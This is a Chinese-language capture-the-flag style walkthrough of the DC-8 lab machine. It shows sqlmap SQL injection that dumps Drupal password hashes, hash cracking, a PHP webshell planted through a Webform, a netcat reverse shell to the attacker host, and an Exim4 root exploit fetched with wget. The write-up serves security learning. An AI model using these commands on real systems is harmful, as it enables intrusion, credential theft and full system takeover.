DC-8

环境搭建

过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

渗透测试

先 nmap 扫靶机 IP(又换了个网)

1
nmap -sP 10.152.199.0/24

image-20260303131802770

然后扫靶机的端口服务

1
nmap -A -p- 10.152.199.231

22 端口的 SSH,还有 80 端口的 Drupal 7

image-20260303131939766

先看 80 端口的 Web 服务

image-20260303132027342

因为和 DC-1 一样的是 Drupal 7,所以先试试按照 DC-1 的打法,打 CVE-2018-7600 试试

1
2
3
4
5
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set payload php/meterpreter/reverse_tcp
set rhosts 10.152.199.231
set lhost 10.152.199.174

不过没打通

image-20260303132950671

那就换个思路,找别的漏洞点,发现选择左边的那些文章,有个 GET 参数nid

image-20260303133230223

测试可能存在SQL注入

image-20260303133324126

尝试利用 sqlmap 进行SQL注入

1
sqlmap -u "http://10.152.199.231/?nid=1" --batch

确实存在 SQL 注入,可以通过布尔盲注、报错注入、时间盲注、联合注入来进行攻击

image-20260303133509845

先看看数据库

1
sqlmap -u "http://10.152.199.231/?nid=1" --dbs --batch

数据库:d7db

image-20260303133716918

然后查表

1
sqlmap -u "http://10.152.199.231/?nid=1" -D 'd7db' --tables --batch

有以下这些表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Database: d7db                                                                                               
[88 tables]
+-----------------------------+
| block |
| cache |
| filter |
| history |
| role |
| system |
| actions |
| authmap |
| batch |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_views |
| cache_views_data |
| ckeditor_input_format |
| ckeditor_settings |
| ctools_css_cache |
| ctools_object_cache |
| date_format_locale |
| date_format_type |
| date_formats |
| field_config |
| field_config_instance |
| field_data_body |
| field_data_field_image |
| field_data_field_tags |
| field_revision_body |
| field_revision_field_image |
| field_revision_field_tags |
| file_managed |
| file_usage |
| filter_format |
| flood |
| image_effects |
| image_styles |
| menu_custom |
| menu_links |
| menu_router |
| node |
| node_access |
| node_revision |
| node_type |
| queue |
| rdf_mapping |
| registry |
| registry_file |
| role_permission |
| search_dataset |
| search_index |
| search_node_links |
| search_total |
| semaphore |
| sequences |
| sessions |
| shortcut_set |
| shortcut_set_users |
| site_messages_table |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
| webform |
| webform_component |
| webform_conditional |
| webform_conditional_actions |
| webform_conditional_rules |
| webform_emails |
| webform_last_download |
| webform_roles |
| webform_submissions |
| webform_submitted_data |
+-----------------------------+

users表中找找管理员的密码,看看列

image-20260303134020629

中途换网,IP变成10.234.52.231

1
sqlmap -u "http://10.234.52.231/?nid=1" -D 'd7db' -T 'users' --columns --batch

只看namepass列就行了

image-20260331154148127

1
sqlmap -u "http://10.234.52.231/?nid=1" -D 'd7db' -T 'users' -C name,pass --dump --batch

image-20260331154421155

1
2
3
4
5
6
+--------+---------------------------------------------------------+
| name | pass |
+--------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+--------+---------------------------------------------------------+

将哈希密码存放到pass.txt文件中

image-20260331155125719

利用工具对密码进行解密,可以用 hashcat

1
hashcat -m 7900 pass.txt /usr/share/wordlists/rockyou.txt

image-20260331155003953

或者 john

1
john pass.txt

image-20260331155052613

可以得到john的密码是turtle,去登录后台

1
http://10.234.52.231/user

在后台中可以找到写代码的地方:Contact Us => Webform => From settings

image-20260331160242844

注意这里要改成 PHP code,写入一句话木马,这里一句话木马上面的<p>...</p>删去了的话好像PHP代码就不能执行了,还是保留的好

image-20260331161001362

保存后在 view 中随便写点东西提交

image-20260331160744623

然后就可以看到代码成功被执行了

image-20260331161030763

想直接连蚁剑的,发现好像没权限访问到

image-20260331161533818

换个浏览器还真的不能访问到

image-20260331161611653

那就直接执行反弹shell的命令了

1
shell=system('nc -e /bin/bash 10.234.52.174 2333');

image-20260331162056782

image-20260331162105640

生成交互式shell

1
/usr/bin/script -qc /bin/bash /dev/null

image-20260331162230506

然后是提权,先看看能不能 SUID 提

1
find / -perm -u=s -type f 2>/dev/null

image-20260331162731317

能用exim4提,看看版本

1
exim4 --version

image-20260331163219433

找找POC

1
searchsploit exim 4

image-20260331163459518

1
/usr/share/exploitdb/exploits/linux/local/46996.sh

两种使用方法

image-20260331164618389

靶机环境有wget,可以在kali开个HTTP服务,利用wget将POC文件传到靶机上

image-20260331163925175

先将脚本复制到当前目录

1
cp /usr/share/exploitdb/exploits/linux/local/46996.sh ./

image-20260331164105067

起一个HTTP服务

1
php -S 0:80

image-20260331164137555

靶机中利用wget下载脚本

1
2
cd /tmp
wget http://10.234.52.174/46996.sh

image-20260331164331576

加个权限,然后执行第一个方法

1
2
chmod +x 46996.sh
./46996.sh -m setuid

失败了

image-20260331164832991

试试第二个方法

1
./46996.sh -m netcat

成功了

image-20260331164928502

最后去root目录下读flag

1
2
cd /root
cat flag.txt

image-20260331165039674

总结

靶机学到的知识点:

  • 多多注意一些可能的注入点
  • Exim4提权

DC-8
https://yschen20.github.io/2026/03/31/DC-8/
作者
Suzen
发布于
2026年3月31日
更新于
2026年3月31日
许可协议